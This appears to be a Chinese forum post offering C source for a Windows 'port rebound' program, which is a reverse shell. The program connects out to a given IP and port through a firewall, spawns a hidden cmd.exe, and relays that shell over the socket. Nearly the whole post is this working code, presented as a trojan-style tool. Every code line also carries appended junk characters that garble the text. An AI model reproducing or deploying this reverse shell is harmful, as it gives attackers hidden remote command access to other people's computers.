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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 +|C[-W7Sw  
Uk-HP\C"7  
/* ============================== BGjb`U#%3  
Rebound port in Windows NT ZxS&4>.  
By wind,2006/7 3DoRE2}  
===============================*/ ~/`X*n&  
#include WSI Xj5R  
#include (Imp $  
IM-`<~(I#  
#pragma comment(lib,"wsock32.lib") =wA5P@  
Rk<%r k  
void OutputShell(); DA LQ<iF  
SOCKET sClient; 9)yG.9d1  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Ob(leL>ow  
bx(w :]2  
void main(int argc,char **argv) mTEVFm  
{ c d%hW  
WSADATA stWsaData; _@ i>s,  
int nRet; 3B,QJ&  
SOCKADDR_IN stSaiClient,stSaiServer; o?!uX|Fy  
9p> /?H|  
if(argc != 3) KZK,w#9.  
{ s[-]cHQ  
printf("Useage:\n\rRebound DestIP DestPort\n");  0:dB 9  
return; xYR#%!M  
} /Antb6E  
.k]#XoE  
WSAStartup(MAKEWORD(2,2),&stWsaData); &LU'.jY  
H%Y%fQ ~^  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); dB`b9)Tk0z  
IH3FK!>6  
stSaiClient.sin_family = AF_INET; <-|SIF  
stSaiClient.sin_port = htons(0); `)tK^[,<W  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 98<zCSe\]  
VC=6uB  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) `$9L^Yg,4  
{ uJPH~mdW   
printf("Bind Socket Failed!\n"); b|E/LKa  
return; &"j@79Ym1~  
} !P"?  
Gj`f--2GE  
stSaiServer.sin_family = AF_INET; Ve14rn  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); %vc'{`P  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); mG}k 3e-  
/;+,mp4  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) +(AwSh!  
{ @9_)On9hZ  
printf("Connect Error!"); MhH);fn  
return; Z1]"[U[;  
} a paIJ+^[  
OutputShell(); \Ut S>4w\  
} )[DpK=[N^p  
;xW{Ehq-h  
void OutputShell() Mw|SH;nM  
{ #KJZR{  
char szBuff[1024]; N<b D  
SECURITY_ATTRIBUTES stSecurityAttributes; n1)'cS5}  
OSVERSIONINFO stOsversionInfo; gX"T*d>y  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; O<a3DyUa;  
STARTUPINFO stStartupInfo; ?zE<  
char *szShell; 4[H,3}p9H  
PROCESS_INFORMATION stProcessInformation; -wIM0YJ  
unsigned long lBytesRead; Y\>\[*.v  
!47A$sQ  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 'WzUu MCx  
Q=XA"R  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ) ]]|d  
stSecurityAttributes.lpSecurityDescriptor = 0; U$EM.ot  
stSecurityAttributes.bInheritHandle = TRUE; <tQXK;  
83xd@-czgh  
TA9dkYlE/  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); n8?KSQy$  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Hf.xd.Yw  
s'AQUUrb <  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); D`fc7m  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Wbs^(iUU}  
stStartupInfo.wShowWindow = SW_HIDE; 9!S^^;PN&  
stStartupInfo.hStdInput = hReadPipe; Deog4Ol"/  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; d5q4'6o,  
;;6\q!7`  
GetVersionEx(&stOsversionInfo); 5 {fwlA  
:b,o B==%  
switch(stOsversionInfo.dwPlatformId) \ >(zunL  
{ i/M+t~   
case 1: "9 u-lcQ\  
szShell = "command.com"; o5V`'[c  
break; g` kZ T} h  
default: K5+!(5V~  
szShell = "cmd.exe"; %)dI2 J^Xf  
break; (mY(\mu}  
} -|$*l Q  
e Ri!\Fx  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); _AAx )  
3v G  
send(sClient,szMsg,77,0); 5A;"jp^ Z  
while(1) K9LEIby  
{ M;> ha,x  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); cnC_#kp  
if(lBytesRead) *\C}Ok=  
{ }RH lYN  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); dgm+U%E  
send(sClient,szBuff,lBytesRead,0); &F86SrsI  
} *+&z|Pwv[^  
else pV_}Or_  
{ \4C)~T:*  
lBytesRead=recv(sClient,szBuff,1024,0); lW&[mnR  
if(lBytesRead<=0) break; 6WCmp,*  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); KdS eCeddW  
} 8\P JSr  
} i:R!T,  
2;O  c^  
return; T?Z OHH8  
}
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